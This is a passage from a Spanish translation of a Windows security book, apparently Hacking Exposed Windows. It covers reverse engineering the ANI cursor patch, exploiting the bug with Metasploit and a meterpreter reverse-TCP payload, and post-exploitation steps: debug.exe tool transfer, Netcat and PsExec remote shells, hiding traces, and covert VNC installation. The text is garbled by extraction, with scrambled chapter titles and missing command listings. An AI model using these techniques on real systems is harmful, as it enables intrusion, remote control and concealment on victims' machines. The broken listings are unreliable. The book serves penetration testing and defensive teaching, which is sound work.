COAST, diccionarios y listas de palabras ftp://coast.cs.purdue.edu/publicación/dict/
WinPcap, una arquitectura de captura de http://www.winpcap.org
paquetes gratuita para Windows, del
Politecnico di Torino, Italia (incluido con
L0phtcrack 3 y posteriores)
Referencia Ubicación
KerbSniff y KerbCrack, por Arne Vidstrom www.ntsecurity.nu/toolbox/kerbcrack/
ScoopLM y BeatLM www.securityfriday.com
SMBRelay, por Sir Dystic htpp://www.xfocus.net/articles/200305/
smbrelay.html
Snarp, por Frank Knobbe, utilería de www.securityfocus.com/tools/1969
envenenamiento de caché, que sólo
funciona en NT 4, no siempre es confiable
Ettercap, un olfateador/interceptor/ http://ettercap.sourceforge.net/
escritor de registros de varios propósitos
para LAN conmutadas
LCP: descubrimiento de hashes de www.lcpsoft.com/english/index.htm
desafío-respuesta y volcados
Venom: descubridor WMI www.cqure.net/wp/?page_id=21
TSGrinder www.hammerofgod.com/download
Herramientas comerciales
Event Log Monitor (ELM) de TNT Soft- www.tntsoftware.com
ware
EventAdmin de Quest Software www.quest.com/intrust
L0phtcrack con SMB Packet Capture http://packetstormsecurity.org/Crackers/
NT/l0phtcrack/
Referencias generales
Discurso técnico sobre la debilidad del www.packetstormsecurity.org/Crackers/
hash LM y desafío-respuesta NT/l0phtcrack.rant.nt.passwd.txt
Samba, una implementación de SMB en www.samba.org
UNIX
Referencia Ubicación
“Modifying Windows NT Logon Creden- www.coresecurity.com/index.php5?modules
tial”, Hernán Ochoa, CORE-SDI, delinea el =ContentMod&action=item&id=1030
concepto “pasar el hash”
Sitio Web de Luke Kenneth Casson www.cb1.com/~lkcl/
Leighton, un estupendo recurso de
información técnica sobre CIFS/SMB
“Feasibility of Attacking Windows 2000 www.securityteam.com/windowsntfocus/
Kerberos Passwords”, por Frank O’Dwyer 5BP0H0A6KM.html
“Cracking NTLM 2 Authentication”, www.blackhat.com/presentations/win-usa-
archivo de PowerPoint 02/urity-winsec02.ppt
DCE/RPC over SMB: Samba and Windows por Luke K. C. Leighton, Macmillan Techni-
NT Domain Internals cal Publishing (1999)
Especificaciones de CIFS/SMB de ftp://ftp.microsoft.com/developr/drg/cifs
Microsoft
WNetAddConnection2 function http://msdn2.microsoft.com/en-us/library/
aa385413.aspx
Listas de verificación de seguridad de www.microsoft.com/technet/security/
Windows y otras guías guidance
Hacking Exposed, quinta edición, capítulo 7, Por Stuart McClure, Joel Scambray y George
“Network Devices”, cubre redirecciona- Kurtz, McGraw-Hill/Osborne (2005)
miento de ARP/envenenamiento de caché
“Core Security Technologies Demonstrates www.coresecurity.com/index.php5?module=
Exploitability of Third-Party Software ContentMod&action=item&id=1660
Running on Vista”
“Why you shouldn’t be using passwords http://blogs.technet.com/robert_hensing/
of any kind on your Windows networks”, archive/2004/07/28/199610.aspx
del blog de Robert Hensing
Análisis en Wikipedia acerca del uso de http://en.wikipedia.org/wiki/Pass_phrase
frases de contraseña
“The Great Debates: Pass Phrases vs. www.microsoft.com/technet/security/
Passwords” en MS TechNet secnews/articles/itproviewpoint100504.
mspx
capítulo 6
I E N T O
U B R I M
D E S C N D E
O T A C I Ó
YE X P L A D E S
A B I L I D
N E R
VUL I N D O W S
DE W
165
D
urante varios años, en el segundo martes de cada mes (“martes negro”), Microsoft con-
sidera la liberación de parches de seguridad. En casi todos los meses, se liberan parches.
El martes negro marca el día en que los investigadores de seguridad descargan parches
y empiezan a aplicarles ingeniería inversa, en un esfuerzo por descubrir cómo explotar las má-
quinas que no tienen el parche. ¿Cómo pueden descubrirse estos problemas de seguridad y
cómo pueden explotarse? En este capítulo se analizan los tipos de errores que afectan a las pla-
taformas de Windows, cómo descubrirlas y cómo pueden explotarse.
VULNERABILIDADES DE SEGURIDAD
Las vulnerabilidades de seguridad del software a menudo surgen de un descuido en el código,
la configuración, el diseño o el entorno de un componente determinado de la tecnología. Por
ejemplo, la vulnerabilidad de ejecución de código remoto del cursor animado de Windows es un proble-
ma del código, porque es resultado de un manejo inapropiado del búfer. Por otra parte, la vulne-
rabilidad de escritura arbitraria de archivos en Internet Explorer es resultado de un descuido de la
configuración. Este problema se resolvió con sólo deshabilitar el control ActiveX Objeto de des-
cripción de sesión de NMSA dentro de Internet Explorer.
Las vulnerabilidades, a pesar de su origen, suelen dar como resultado ataques de elevación
de privilegios (EoP, Elevation of Privileges) o la negación del servicio (DoS, Denial of Service).
Dependiendo de la metodología de modelado de la amenaza a la que se suscribe, esta lista pue-
de expandirse para incluir amenazas adicionales. Por ejemplo, la metodología de modelado de
amenazas de Microsoft incluye seis categorías:
• Falsificación de identidad
• Manipulación de datos
• Repudio
• Develación de información
• Negación del servicio
• Elevación de privilegios
Se puede argumentar que las primeras cuatro se consideren artefactos de un EoP. Se proporcio-
nan aquí para asegurar que tiene una clara comprensión de los diversos aspectos de lo “malo”.
• Compilación
• Revisión del código
• Ingeniería inversa
• Inyección de errores
• Prueba ad hoc
• Análisis estático
• Análisis dinámico (motor en tiempo de ejecución)
• Uso general
Trabajo de preparación
Windows viene equipado con varias herramientas que ayudan a nuestra capacidad de buscar y
localizar vulnerabilidades. Las más notables son las opciones de ejecución de archivos de imagen y
las marcas globales (GFlags). Las opciones de ejecución de archivos de imagen nos permiten mo-
dificar ciertos atributos y comportamientos del espacio de proceso de una aplicación. Por ejem-
plo, podemos forzar a Windows a realizar revisiones sanitarias del montículo después de que se
libera memoria o de que se llenan las asignaciones de memoria con página de guardia para que
podamos detectar sobreflujo del montículo. (Para conocer una lista completa de opciones, con-
sulte Comentarios sobre GFlags en la sección “Referencias y lecturas adicionales”).
Podemos establecer manualmente estas opciones en el Registro, en HKLM\SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Image File Execution Options, o podemos depender
de una utilería de GUI proporcionada como parte de las herramientas de depuración del paque-
te de Windows, gflags.exe.
Suponga que el siguiente listado de código (numerado por conveniencia) representa una
aplicación en que queremos detectar sobreflujo del montículo:
1 #include <string.h>
2 #include <stdio.h>
3 #include <windows.h>
4
5 #define ALLOC_SIZE 1024
6 INT main(INT argc, PCHAR *argv)
7 {
8 PCHAR pBlob = (PCHAR)malloc(ALLOC_SIZE);
9
10 if(!SUCCEEDED(pBlob))
11 {
12 return 0;
13 }
14
15 memset(pBlob, 'A', ALLOC_SIZE + 1);
16 printf(“%s\n”, pBlob);
17 // free(pBlob);
18
19 return 0;
20 }
En la línea 15, no puede ver que está ocurriendo un sobreflujo del montículo de 1 byte. Si com-
pilamos y ejecutamos este programa, imprimirá una gran cantidad de A y saldrá normalmente.
Sin embargo, si habilitamos el montículo de página para esta imagen, heaptest.exe, entraremos
en el depurador debido a sobreflujo.
Para habilitar el montículo para esta página, dé los siguientes pasos:
1. Instale las Debugging Tools (herramientas de depuración) para Windows.
2. Ejecute gflags.exe.
3. En la ventana Global Flags, seleccione la ficha Image File.
4. Escriba heaptest.exe en el cuadro Image.
5. Oprima la tecla tab.
6. Marque Enable Page Heap.
7. Haga clic en Apply. Su pantalla debe ser parecida a la de la figura 6-1. Luego haga clic
en OK.
La utilería GFlags no es más que un editor del Registro. Estos valores también pueden habilitarse
NOTA
manualmente.
Inyección de errores
En su forma más simple, la inyección de errores puede describirse como la introducción de datos
mal formados en una aplicación, de manera automatizada. El principal beneficio de la inyección
de errores es que una vez que se ha construido el inyector, puede dejarlo sólo hasta que el destino
entre en el depurador. Esto le deja tiempo libre para investigar otras áreas de la aplicación o escri-
bir inyectores adicionales. Se dispone de un número decente de inyectores, dependiendo de lo que
está tomando como destino. Nuestra experiencia ha demostrado que Peach Fuzzer Framework de
Michael Eddington se encarga de todo cuando se trata de crear rápidamente inyectores efectivos.
Mientras se ejecuta el inyector, varias pruebas aparecerán junto con la respuesta del servidor
HTTP para cada prueba de inyección de errores. En este punto, puede volver a sentarse y dejar
que el inyector se ejecute mientras usted trabaja en algo más.
Ingeniería inversa
En ausencia de código fuente, siempre podemos desensamblar binarios y buscar problemas de
seguridad dentro del ensamblado. ¿Pero dónde empezar? Una opción consiste en descargar par-
ches de errores de seguridad anteriores y compararlos contra las versiones sin parches. Las
partes de los binarios que no coinciden seguramente apuntarán a un problema de seguridad.
En el resto de esta sección se analizará cómo desempaquetar un paquete de actualización de
Microsoft (.MSU), comparar la nueva biblioteca dinámica de vínculos (DDL, Dynamic Link Li-
brary) con la antigua e identificar el problema de seguridad. Usaremos el error del cursor anima-
do identificado por Alexander Sotirov de Determina, cuya excelente descripción técnica de esta
condición fue la referencia principal para los detalles de la vulnerabilidad. También aprendere-
mos del trabajo anterior realizado por el proyecto Metasploit para demostrar cómo MS07-17
puede explotarse en Microsoft Vista.
C:\projects\reverse\KB925902>
A partir de esto, puede ver que se extrajeron cuatro archivos de la actualización. El archivo más
interesante es Windows6.0-KB925902-x86.cab, porque contendrá las bibliotecas actualizadas.
NOTA Herramientas como el analizador de seguridad de línea de base de Microsoft (MBSA, Microsoft
Baseline Security Analyzer) utilizan WSUSSCAN para realizar rastreo de niveles de parches del
sistema fuera de línea.
En la cuarta fila hacia abajo, _LoadAniIcon@20 probablemente debe saltar como impor-
tante, considerando que tratamos de localizar un error relacionado con cursores animados. El
siguiente paso consiste en hacer clic con el botón derecho en esta fila y seleccionar Diff. Esto pre-
sentará una ventana de doble panel que contiene gráficas con llamadas codificadas por color,
como se muestra en la figura 6-6.
La versión no parchada se encuentra a la izquierda y la versión parchada a la derecha. Hay
muchos elementos allí pero, ¿cuál es importante? Es muy probable que el parche dé como resul-
tado la inclusión o ausencia de lógica en el nuevo DLL.
Revise la parte inferior de esta ventana y verá una clave que explica la codificación de color.
Puede ver que los bloques con color durazno no tienen una coincidencia correspondiente entre
versiones. Un bloque color durazno se observa en el panel de la ventana derecha. Esto represen-
ta lógica que no está presente en la versión sin parche. Revisémosla al hacer un pequeño acerca-
miento, como se muestra en la figura 6-7.
Aquí puede ver que el bloque adicional está comparando una variable local con 24h. Si el
valor coincide, la ejecución salta a loc_77D656A0 y se aleja de ReadChunk. Si el valor no coin-
cide, la ejecución cae a loc_77D8504D en la parte inferior de la gráfica, que regresa efecti-
vamente de la función.
Sugerencia El 010 Editor de SweetScape es estupendo para este tipo de análisis, porque le permite crear
rápidamente plantillas con las cuales superponer el contenido del archivo. Cuando se ve un archivo,
la plantilla se “aplica” al archivo, lo que proporciona al usuario el contenido del esquema. Una plantilla
indicará que los primeros cuatro bytes son el Tipo, los siguientes cuatro son la longitud y junto a los
bytes del número de longitud se encuentran los datos.
¡Estupendo! En la primera línea puede ver la cadena anih. Este segmento de código está
probablemente analizando esta parte del archivo. Por coincidencia, el siguiente byte es 0x24,
que coincide con el valor que la versión no parchada de user32.dll está esperando. Al saber que
tenemos que convertir hina en anih debido a la disposición endian, probablemente debemos
pensar en hacer lo mismo con 0x24. Si revisa los tres bytes siguientes, verá que todos son ceros.
Si ajustamos 0x24000000 como hicimos con inah, terminaremos con 0x00000024, que sigue
siendo 0x24. Tal vez estemos logrando algo. ¿Qué se hace a continuación? Bueno, muchos pro-
tocolos y estructuras de datos dependen del formato conocido como Tipo Longitud Valor (TLV).
El primer campo, Tipo, describe los datos; el segundo campo, Longitud, indica cuántos datos
hay; y el tercer campo, Valor, son los datos reales a los que hacen referencia el Tipo y la Longitud.
Esto podría ser, muy bien, lo que está pasando. Para confirmarlo, convirtamos 0x24 al decimal
36, cuente ese número de bytes en el archivo y verá dónde terminamos. Aterrizamos justo frente
a otro Tipo posible: rate. Si realizamos los mismos pasos para rate terminamos en LIST. Si
vamos en otra dirección podemos ver que los 4 bytes después de RIFF, 0x782E0100, repre-
sentan el Tamaño de su Valor, el resto del archivo.
A partir de aquí, podemos suponer que la comparación de 0x24 en la versión parchada de
user32.dll está asegurando que el tamaño advertido del Valor anih es 36 bytes. Así que copie-
mos aero_busy.ani a otro directorio, cambiemos el Tamaño anunciado del Valor anih a 0xFF,
establezcamos un punto de interrupción en LoadAniIcon, vayamos al archivo modificado en
el Explorador y veamos lo que sucede.
¡No sucede nada! Pero si volvemos a cambiar el tamaño a 0x24, llegamos al punto de in-
terrupción. Si seguimos en el depurador, notaremos que el icono de aero_busy.ani en el Ex-
plorador cambió de la hoja blanca genérica al icono especial de aero. Esto indica que el
Explorador está cediendo antes de cargar por completo la información del icono de nuestro cur-
sor modificado.
He aquí lo que hemos hecho hasta ahora:
• El parche asegura que el encabezado ANI tenga 36 bytes.
• Si representamos de manera errónea el tamaño del encabezado ANI, el icono no se
carga en el Explorador.
De acuerdo con esto, probablemente supongamos que algo está validando el tamaño del en-
cabezado ANI antes de llegar en realidad a LoadAniIcon. Si esto es cierto, ¿por qué el parche
realizaría también una revisión del tamaño? Recuerde que estamos tratando de validar nuestra
corazonada de que el fragmento anih era una estructura TLV, y encontramos también otras es-
tructuras TLV: rate y LIST. ¿Qué pasa si cambiamos una de estas estructuras a Tipo anih y
mentimos aquí acerca del tamaño? Probémoslo. Hemos modificado aero_busy.ani como se
muestra en la figura 6-9.
Si actualizamos el Explorador, llegamos a nuestro punto de interrupción en LoadAniIcon.
¡Esto es estimulante! Ahora continuemos la ejecución y veamos lo que obtenemos.
¡Se ve mejor! ¡Otra violación de acceso! Esta vez debido a que el puntero de la instrucción eip
es nulo (0x00000000). Si miramos la pila de llamada podemos comprender mejor lo que ha
pasado:
0:030> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
05bcd158 77161039 0x0
05bcd17c 7716100b ntdll!ExecuteHandler2+0x26
05bcd224 77160e97 ntdll!ExecuteHandler+0x24
05bcd224 00000000 ntdll!KiUserExceptionDispatcher+0xf
05bcd520 77161039 0x0
05bcd544 7716100b ntdll!ExecuteHandler2+0x26
05bcd5ec 77160e97 ntdll!ExecuteHandler+0x24
05bcd5ec 76badfc8 ntdll!KiUserExceptionDispatcher+0xf
05bcd94c 6e6f6369 USER32!LoadAniIcon+0x2b7
A partir de aquí, podemos determinar que hemos pavimentado el registro SEH con ceros. ¡Son
excelentes noticias! El siguiente paso consiste en rellenar aero_busy.ani con algunos valores
identificables, como se muestra en la figura 6-10. Esto nos dará una mejor comprensión de la ma-
nera en que partes de nuestro archivo influyen en la ejecución del código.
Hemos hecho las siguientes modificaciones a aero_busy.ani:
• Cambiamos el Tamaño anunciado del RIFF a 0x88 bytes y truncamos el archivo a esa
longitud
• Cambiamos el Tamaño anunciado del segundo Tipo anih a 0x60 para que coincida
con su longitud actual
• Llenamos el segundo tipo anih con datos identificables
Sigue poniéndose mejor. Ahora controlamos por completo tres registros: eax, ebp y, el más
importante, eip. Al controlar estos registros, puede causar que Explorer ejecute código arbitra-
rio que esté incrustado dentro del propio cursor animado. En la siguiente sección se analiza
cómo puede explotarse este problema en la plataforma Vista a pesar de sus muchos mecanismos
de seguridad, como la aleatorización del diseño del espacio de direcciones (ASLR, Address Spa-
ce Layout Randomization), la prevención de ejecución de datos (DEP, Data Execution Preven-
tion) y las cookies de pila (GS).
Explotación de ANI
Como tal vez ya lo sabe, Vista viene equipado con un puñado de mecanismos que están diseña-
dos para evitar la explotación de vulnerabilidades. Entre los que tienen más importancia se en-
cuentran ASLR, DEP y GS. En el capítulo 12 analizaremos éstos y otros mecanismos de seguri-
dad. Por ahora, debe estar familiarizado con lo siguiente:
• ASLR asigna de manera aleatoria la ubicación de memoria para que sea más difícil
para un atacante saber la ubicación de instrucciones útiles o bibliotecas.
• La DEP de hardware trata de prevenir la explotación al evitar la ejecución de código en
ubicaciones de memoria que no se han designado específicamente como ejecutables. La
DEP de software protege del abuso a los registros de excepciones.
• GS trata de evitar la explotación al detectar sobreflujo de búfer basado en pilas.
En la sección anterior, pudimos construir un archivo .ani que saturaba la pila, incluido el re-
gistro de excepciones. ¿Cómo es posible en presencia de GS y DEP de software? Como lo indicó
Alexander, y se muestra en el siguiente listado, LoadAniIcon no se compiló con protección GS.
0:032> u USER32!LoadAniIcon
USER32!LoadAniIcon:
75c05375 8bff mov edi,edi
75c05377 55 push ebp
75c05378 8bec mov ebp,esp
Para emperoar las cosas, ni el Explorador ni Internet Explorer tienen habilitado DEP como
opción predeterminada. Esto se observa al lanzar el proceso Explorador y ver la ficha Imagen de
sus propiedades, como se muestra en la figura 6-11.
Eso nos deja con ASLR. Como lo indicó skape del Metasploit Project, si podemos encontrar
instrucciones útiles dentro del mismo bloque de 16 páginas que la dirección de devolución, sim-
plemente podemos sobrescribir los dos bytes de orden bajo de ella con su ubicación y queda-
mos en buena posición. Debido a que GS no es un factor en este caso, podemos sobrescribir la
dirección de devolución de esta manera. Dado que DEP y GS están deshabilitados para Internet
Figura 6-11 Internet Explorer con DEP deshabilitada como opción predeterminada
Explorer y el Explorador y, en este caso, podemos rodear los beneficios de ASLR, nos quedamos
con una explotación muy típica. Veámosla en acción.
La versión 3 de Metasploit Framework viene equipada con una interfaz spiffy Web 2.0 que
permite que cualquiera señale y haga clic para la ejecución de código remoto en un equipo no
parchado. Una vez que Metasploit está instalado y en ejecución, sólo se requieren literalmente
cinco clics para que un servidor Web malvado en espera explote a un explorador que no está
consciente de esto. Y aquí están:
1. Haga clic en Exploits.
2. Haga clic en Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP).
3. Haga clic en Windows Vista user32.dll 6.0.6000.16386.
4. Haga clic en windows/meterpreter/reverse_ord_tcp.
5. Haga clic en Exploit después de rellenar LHOST.
En este punto, Metasploit proporcionará un URL que, una vez visitado por un equipo de
Vista no parchado, explotará el error ANI y cargará el Meterpreter:
>> sysinfo
Computer: GRIFFIN
OS : Windows Vista (Build 6000, ).
>> ls c:\
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Boot
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Debuggers
40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Program Files
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 ProgramData
40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Users
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Windows
100777/rwxrwxrwx 24 fil Wed Dec 31 16:00:00 -0800 1969 autoexec.bat
100444/r--r--r-- 438840 fil Wed Dec 31 16:00:00 -0800 1969 bootmgr
100666/rw-rw-rw- 10 fil Wed Dec 31 16:00:00 -0800 1969 config.sys
100666/rw-rw-rw- 1073741824 fil Wed Dec 31 16:00:00 -0800 1969 pagefile.sys
Como puede ver en esta salida, las explotaciones listas para usarse de Metasploit han com-
prometido el sistema remotamente y nos han permitido presentar una lista del contenido de su
unidad C. Esperamos que este ejemplo le haya dado algunas ideas de la facilidad con que pue-
den explotarse las vulnerabilidades de Windows utilizando marcos conceptuales poderosos
como Metasploit.
RESUmEN
En este capítulo se ilustró cómo se descubren e implementan las explotaciones de Windows. En
la práctica, estas técnicas (y muchas más de mayor y menor complejidad) sugieren que Win-
dows siempre será vulnerable a la ingeniería inversa persistente, de modo que una combina-
ción de configuración conservadora del sistema, un proceso de actualización continua para
nuevas versiones que incluyan características como ASLR, y un programa de parchado eficiente
deben combinarse para lograr defensa a profundidad.
capítulo 7
s p u é s
e o d e
s a q u c i ó n
p l o ta
l a e x
de
185
P
ara la mayoría de los intrusos, simplemente no basta con obtener acceso durante un ata-
que de red. Quieren dominio y control completo, y un atacante no se conformará con ob-
tener privilegios en el nivel de usuario en un sistema. Privilegios más elevados significan
acceso más amplio a la información (la real, la que está protegida). En consecuencia, un atacante
dará muchos pasos para infiltrar su red más y más, haciéndole casi imposible deshacerse de él
sin que “invada” su propio entorno de una manera seria (es decir, necesita reconstruir numero-
sos sistemas desde cero, utilizando copias de seguridad confiables). El saqueo después de la ex-
plotación por parte del atacante es fundamental para cualquier ataque serio de red.
Un atacante puede emprender las siguientes fechorías una vez que ha obtenido acceso a su
sistema:
1. Transferir el kit de herramientas del ataque al destino.
2. Escalar privilegios (si es necesario para obtener derechos administrativos).
3. Establecer control interactivo remoto.
4. Minar los datos de sistema.
5. Extraer y descubrir contraseñas.
6. Enjuagar y volver a hacerlo.
NOTA Los atacantes también buscarán ocultar su presencia utilizando numerosas herramientas y técnicas
que se analizarán a profundidad en el capítulo 8.
Analizaremos cada uno de estos pasos en este capítulo para mostrarle cómo evitar que sus
sistemas se usen como una estación de lanzamiento a otros destinos de la red.
Recuerde que el host comprometido suele ser sólo el punto de entrada a lo que el atacante
realmente está buscando: información confidencial.
Después de obtener posibilidades de ejecución remota o de código local, un atacante suele
transferir un juego de herramientas al sistema de destino. Entre estas herramientas podrían in-
cluirse, pero no están limitadas a, extractores de contraseñas, un lenguaje de secuencia de co-
mandos (si aún no existe) y redirectores de puerto para ayudar a establecer una presencia en la
red.
Los métodos usados para la transferencia de datos pueden variar, pero a menudo usan pro-
tocolos permitidos, como el protocolo de transferencia de hipertexto (HTTP, HyperText Transfer
Protocol), el protocolo de transferencia de archivos (FTP, File Transfer Protocol), el sistema de
nombres de dominio (DNS, Domain Name System), el protocolo simple de transferencia de co-
rreo (SMTP, Simple Mail Transfer Protocol) y otros. En el caso de HTTP/HTTPS/FTP, el atacan-
te puede hacer uso de la función UrlDownloadToFile en urlmon.dll. Es fácil para un atacante
escribir herramientas de línea de comandos para utilizar esta API y hacer una conexión externa
a través de uno de los protocolos soportados después de obtener acceso al sistema. Sin
embargo, esto sólo funciona si están permitidas las conexiones salientes de los sistemas del des-
tino, y señala la importancia de tener control de la conectividad saliente. Es interesante observar
que la API de urlmon también soporta situaciones en que se ha definido un proxy para los ex-
ploradores normales. También pueden usarse otros comandos del sistema, como FTP.EXE,
TFTP.EXE, etcétera. Se ha sabido que el servicio de transferencia inteligente de fondo (BITS,
Background Intelligent Transfer Service) usa diferentes malwares para descargar archivos de
Internet.
Como no siempre está disponible la conexión saliente, el atacante también puede usar co-
nectividad de una vía. Por lo general, ésta incluye transferencia de código ordinario en formato
ASCII, comúnmente conocido como secuencias de comandos de depuración, para alimentar a de-
bug.exe en el sistema de destino. Existe un par de estas herramientas y pueden encontrarse en la
sección “Referencias y lecturas adicionales”, al final de este capítulo.
A continuación se presenta un fragmento de una secuencia de comandos de depuración:
n #tempf#
r cx
e800
f 0100 ffff 00
e 0100 4d 5a 90
e 0104 03
. . .
Una vez con un nuevo nombre, la herramienta puede usarse de la manera normal. Una nota que
también es válida para el ejemplo anterior es que usa un algoritmo más optimizado para hacer
las secuencias de comando de depuración más pequeñas al quitar los caracteres más comunes
de la salida, y al compilar la secuencia de comandos otra vez a forma binaria, primero se rellenan
los caracteres comunes y luego se escriben las diferencias en binario.
Cuando un binario está en formato ASCII, puede usarse cualquier método de transporte,
como hacer eco en el archivo a través del protocolo del flujo de datos tabulares (TDS, Tabular
Data Stream), utilizar la función xp_cmdshell (deshabilitada como opción predeterminada en
Microsoft SQL 2005) o emplear cualquier secuencia de comandos o vulnerabilidad en el sistema
de destino, o pasando el archivo en una sesión de Terminal Service.
Además, los binarios pueden empaquetarse con empaquetadores de motor de tiempo de eje-
cución como Ultimate Packer for eXecutables (UPX), aunque hoy en día eso no proporciona tan-
tos beneficios como solía hacerlo.
Escalada de privilegios
Popularidad: 8
Simplicidad: 5
Impacto: 10
Clasificación de riesgo: 8
En este punto del asalto, se supone que el atacante se ha autentificado con éxito ante un sis-
tema de Windows remoto con una cuenta de usuario y una contraseña válidas y que no son ad-
ministrativas. Esto es un punto de apoyo importante para el atacante, pero por desgracia (desde
la perspectiva del atacante), puede ser limitada. Recuerde el análisis de capítulo 2 acerca de los
privilegios estándar en Windows: si no es un equivalente a Administrador, su acceso a la informa-
ción del sistema está muy limitada. Para empezar a obtener beneficios del equipo comprometido
y el resto de la red, el atacante debe elevar los privilegios de acceso a un estado de cuenta más
poderoso.
• Getadmin
• Predicción de canalización con nombre del administrador de control de servicio
• Solicitudes de NetDDE que se ejecutan como SYSTEM
• Errores de autentificación del depurador (DebPloit y explotaciones similares)
Esto le da una capacidad más fina de agregar protección. Pueden asignarse los
siguientes niveles:
• Deshabilitado El software no se ejecutará, sin importar los derechos de acceso del
usuario
• No confiable Permite que los programas se ejecuten con acceso sólo a recursos
otorgados para abrir grupos bien conocidos, bloqueando el acceso a los privilegios
de Administrador y Usuario avanzado y derechos otorgados personalmente
• Restringido El software no puede acceder a ciertos recursos, como claves
criptográficas y credenciales, sin importar los derechos de acceso del usuario
• Usuarios básicos Permite que los programas se ejecuten como usuarios que no
tienen derechos de acceso Administrador o Usuario avanzado, pero aún puede
acceder a recursos accesibles para los usuarios normales
• Sin restricción Los derechos de acceso a software están determinados por los
derechos de acceso del usuario
• Audite los sucesos de Windows para detectar el comportamiento malicioso. Consulte
el capítulo 2 para conocer un análisis de los parámetros de auditoría recomendados en
Windows.
Aunque usted no lo crea, en una galaxia no muy lejana (la década de 1990) muchas personas
creían que Windows era más seguro que UNIX porque (vea esto) “no se puede obtener un indi-
cador de comandos de Windows”. Bueno. Aquí vamos a desterrar oficialmente este mito (si aún
existe), y a decirle que, como en el mundo de Unix, el control de línea de comandos de Windows
es toda una realidad.
Hemos usado varias técnicas para obtener acceso a línea de comandos remota en Windows
en unos nuestros años combinados de pruebas de penetración, incluidas las siguientes:
Cada una de estas herramientas tiene sus fortalezas y debilidades, pero nuestras favoritas si-
guen siendo Netcat por su flexibilidad y PsExec por su simplicidad (si los servicios de compartir
archivos e impresión de Windows están accesibles en el sistema de destino). A continuación des-
cribiremos cómo usar estas herramientas para obtener control remoto de línea de comandos.
Consola de Netcat
La herramienta con mil usos diferentes, Netcat puede usarse para obtener control remoto de lí-
nea de comandos de un sistema. Existen dos técnicas principales.
La primera técnica utiliza Netcat en el modo de escucha, que debe ejecutarse en el propio
servidor de destino:
Observe que esto requerirá que siga con una conexión de Netcat en el sistema de destino en el
puerto 2000:
C:\>ipconfig
ipconfig
Además, tome nota de que el privilegio obtenido por la técnica de Netcat es dependiente del
privilegio del usuario que lo ejecuta (en nuestro caso, Administrador):
C:\>WINDOWS\System32>whoami
whoami
he-w2k3\administrador
NOTA Cuando se usa un indicador interactivo de Netcat, obtendrá un eco de regreso de su comando
original (como se muestra en el fragmento de código anterior con el comando whoami).
NOTA Si está haciendo una asignación para un cliente sobre redes “no confiables”, es una buena práctica
usar variantes que soporten criptografía para transporte. Esto se hace principalmente para proteger
la información del cliente de los ojos curiosos, pero también omite la detección de intrusiones, que
no está siguiendo el tráfico cifrado.
PsExec
Cuando ejecuta desde la línea de comandos en un sistema de atacante remoto (con acceso a los
servicios de compartir archivos e impresoras de Windows, en la máquina víctima), PsExec sim-
plemente ejecuta comandos en la máquina remota. Si especifica cmd.exe como comando, abre
una shell remota. Debido a que instala de manera silenciosa un servicio en la máquina remota,
todo esto sucede de manera transparente para el atacante.
En el siguiente ejemplo, primero configuramos una conexión administrativa con el servidor
víctima llamado 192.168.0.5 (recuerde que sabemos las credenciales para una cuenta administra-
tiva en este punto).
C:\WINDOWS\system32>
Use el argumento –s si quiere que el comando se ejecute como LocalSystem. (En el último
ejemplo, simplemente añada –s al argumento cmd.exe).
PsExec inicia el psexecsvc en el equipo de destino, mismo que un administrador juicioso
puede observar. Lo interesante es que puede matar a psexecsvc sin ningún efecto contraprodu-
cente en su shell, de modo que ésta sería una manera para que un hacker oculte sus pasos una
vez que la shell quede abierta.
Tome nota de que, mientras se considera que un indicador remoto tiene una funcionalidad
“limitada”, la capacidad para controlar todo un sistema puede obtenerse desde la línea de co-
mandos de la misma manera que desde una interfaz gráfica (por ejemplo, al usar los comandos
de red, netsh, regedit o al volcar el registro con regedit).
Mientras la mayoría de los atacantes están contentos con obtener control de línea de coman-
dos en un destino, para los verdaderos fanáticos de Windows, eso sólo es la mitad del reto. El
objetivo máximo de cualquier verdadero hacker de Windows es ganar control completo de GUI
sobre el sistema, tomando de manera efectiva el control como si estuvieran sentados directa-
mente en el teclado del sistema remoto.
La manera más obvia de ganar una GUI remota es hacer esto en un sistema que ya tiene ser-
vicios de host que permiten control remoto. En la funcionalidad de administración remota grá-
fica de Microsoft integrada, Terminal Services, los datos gráficos se transfieren entre el cliente y
el servidor de Terminal Services mediante el protocolo de escritorio remoto (RDP, Remote Des-
ktop Protocol), que opera sobre el puerto TCP 3389 como opción predeterminada (aunque es
muy trivial cambiar este puerto utilizando la configuración publicada en HTTP://support.mi-
crosoft.com/kb/187623). Describimos algunas herramientas y técnicas para usurpar Terminal
Services en el capítulo 5.
Aunque Terminal Services no se esté ejecutando en el sistema de destino, si el atacante tiene
acceso remoto al sistema, es posible para él instalar e iniciar Terminal Services (RDP) sobre WMI
remotamente. (Para conocer más sobre el uso de WMI, consulte “Referencias y lecturas adicio-
nales”).
Una de las mejores técnicas no nativas que conocemos para control gráfico remoto usa Vir-
tual Network Computing (VNC), originalmente de AT&T Research Laboratories en Cambridge,
Inglaterra, y ahora comercializado por RealVNC (www.realvnc.com). El programa VNC es una
aplicación de control remoto ligera y muy funcional. La ejecución remota de VNC requiere al-
gún trabajo manual, pero los frutos del trabajo pueden ser estimulantes.
Antes que nada, asegúrese de que su recurso compartido administrativo aún está intacto y
de tener una shell de línea de comandos ya establecida en el sistema remoto. Luego siga estos
pasos:
1. Cree el siguiente archivo y nómbrelo winvnc.ini. (Esto establecerá su contraseña en
secret para conectarse con VNC de manera segura).
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e
2. Copie los siguientes archivos al sistema de destino:
C:\>copy regini.exe d:\windows\system32
C:\>copy winvnc.ini d:\windows\system32
C:\>copy winvnc.exe d:\windows\system32
C:\>copy vnchooks.dll d:\windows\system32
C:\>copy omnithread_rt.dll d:\windows\system32
3. Actualice el Registro con su configuración de winvnc.ini:
